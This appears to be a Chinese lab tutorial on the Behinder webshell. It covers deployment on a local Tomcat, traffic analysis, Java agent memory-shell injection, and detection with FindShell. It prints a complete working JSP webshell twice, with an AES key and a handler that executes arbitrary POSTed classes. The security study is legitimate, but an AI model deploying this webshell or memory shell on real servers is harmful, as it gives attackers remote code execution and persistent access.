32_behinder(冰蝎)
behinder(冰蝎)
一、冰蝎的连接
先打开冰蝎,注意jdk版本,可能会影响
打开后界面如下
点击传输协议,生成shell.jsp
协议名称选择aes,里面有个key,需要用密码的md5值32位加密的前16位
我这里设置密码bihuo.cn,它的md5值32位加密的前16位为9da63beefb94c7d4
下面的加密解密可以测试一下,看是否正常
然后点击下方保存
保存之后,点击上方的生成服务端,会自动弹出shell.jsp存放的文件夹
里面就是生成的三种类型的内存马
复制shell.jsp里面的内容,粘贴到IDEA里面
然后启动运行tomcat服务器,访问shell.jsp
之后就是冰蝎连接获取webshell
冰蝎连接方式有两种,一种是密码连接
另一种是自定义,使用default 配置下的用户名和密码
连接成功就是如下图的一些功能点界面
二、冰蝎的流量分析
用burp抓取流量包分析冰蝎的流量
修改shell.jsp
让解密后的结果输出到txt文件中
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception {
String k = "9da63beefb94c7d4";
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
byte[] decodebs;
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
} catch (Throwable e) {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder = baseCls.newInstance();
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return
super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
/* 取消如下代码的注释，可避免response.getOutputstream报错信息，增加某些深度定制的Java web系统的兼容 ??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out = pageContext.pushBody();
byte [] decryptBytes = Decrypt(bos.toByteArray());
File file = new File("C:/decode1.txt");
FileOutputStream fileWriter = new FileOutputStream(file);
fileWriter.write (decryptBytes);
fileWriter.close();
new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
}
%>
开启调试,然后使用burp发包
就会看到,本地出现decode1.txt文件和decode2.txt文件
后缀改成.clss
然后使用jd-gui工具反编译成java文件
jd-gui工具打不开文件的话,随便找一个其它文件打开,也能查看反编译好的文件
然后就是复制到IDEA里面
接下里的调试,就是新增一个main函数
IDEA里面输入psvm,可以快捷增加main函数
右键调试main函数
然后进入equals方法里面
public static void main(String[] args) {
Qiaftpx qiaftpx = new Qiaftpx();
qiaftpx.equals(1);
}
public static void main(String[] args) {
Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();
fmulvhnsdr.equals(1);
}
我这里可能哪里有问题,没有彻底调试完成,后续成功弄出来再编辑这里吧
最后结果,behinder 握手包 2个
(1) 只返回success状态码
(2) 返回 相关的基础信息 服务器版本 操作系统版本 os版本 phpinfo 系统环境变量等
三、冰蝎的基本功能
连接上冰蝎之后,自己点点看就行
四、冰蝎反弹shell
冰蝎支持三种形式的反弹shell,meterpreter、shell、cobalt strike
下面我只演示两个meterpreter、shell,cobalt strike还得部署一会,先pass
五、java agent内存马
1. 理解java agent
参考文章理解java agent
https://blog.csdn.net/qq_45927266/article/details/124540920
2. 使用java agent
冰蝎工具自带注入java agent内存马功能,右键注入内存马
我们修改代理,抓包分析下
点击注入内存马之后,注入类型选择agent,路径点击默认的,然后修改文件名
我这里写的bihuo15.jsp
我们可以看到有大量的请求包,我这里甚至的都没有放完
它这里实际上是通过截断成大量的请求包,最后拼接成内存马的代码
可能是防止被杀
直接放完包之后,冰蝎上面多了一个通过内存马的连接
后面的状态是方框的话,就代表是内存马
左下角显示注入完成
通过内存马点开连接之后,发现功能一样能使用
并且未在主机,也就是服务器上发现bihuo15.jsp文件,没有发现内存马代码
看来是注入到了内存中
3. 分析java agent
我们在shell.jsp的基础上加入一些代码
让它AES解密之后,将内容写入到agent.txt文件中
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception {
String k = "9da63beefb94c7d4";
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
byte[] decodebs;
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
} catch (Throwable e) {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder = baseCls.newInstance();
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
%>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return
super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
/* 取消如下代码的注释，可避免response.getOutputstream报错信息，增加某些深度定制的Java web系统的兼容 ??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out = pageContext.pushBody();
byte [] decryptBytes = Decrypt(bos.toByteArray());
File file = new File("C:/agent.txt");
FileOutputStream fileWriter = new FileOutputStream(file);
fileWriter.write (decryptBytes);
fileWriter.close();
new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
}
%>
然后开启调试,随便放一个流量包,就会发现多出agent.txt文件
将后缀改成.class
然后通过jd-gui反编译工具,将class文件反编译为java文件
有时候这个jd-gui工具无法打开文件,我们可以放一些其它的文件,例如我随便找的一个ArcTest.class文件,只要打开这个,agent.class也可以查看
4. 内存马查杀(findshell工具)
上面我们说到,内存马bihuo15.jsp文件并没有在服务器找到
那么我们需要借助内存马查杀的工具去检测内存马
https://github.com/geekmc/FindShell
打开工具
使用方法github也写着
先通过jps命令找到目标JVM的pid
然后使用这个工具,加上–pid 目标JVM的PID
还要加上–debug参数,才可以生成文件分析
可以看到有很多PID,如果我们不知道哪个是目标JVM的pid,那就一个一个试
看哪个生成了文件
或者停止服务器,再使用jps命令,对比发现少了哪个PID,快速判断目标JVM的PID
这里我都尝试过,这个Bootstarp就是目标JVM
成功生成out目录
使用IDEA打开out目录,里面就是java agent内存马
全部分析太麻烦
这里只需要找到两个东西
一个是java agent内存马绑定的访问路径
另一个是AES解密的key
5. 冰蝎 java agent防检测
注入java agent内存马的时候
下面有个防检测功能
我们重新注入一下,并且将out目录删除掉
然后我们再次使用findshell工具检测java agent内存马,发现还是生成了out目录
防检测功能未生效,这里可能是软件功能没制作好,或者可能是只能防止部分软件检测,而恰好findshell不能防
了解一下有这个功能点就行
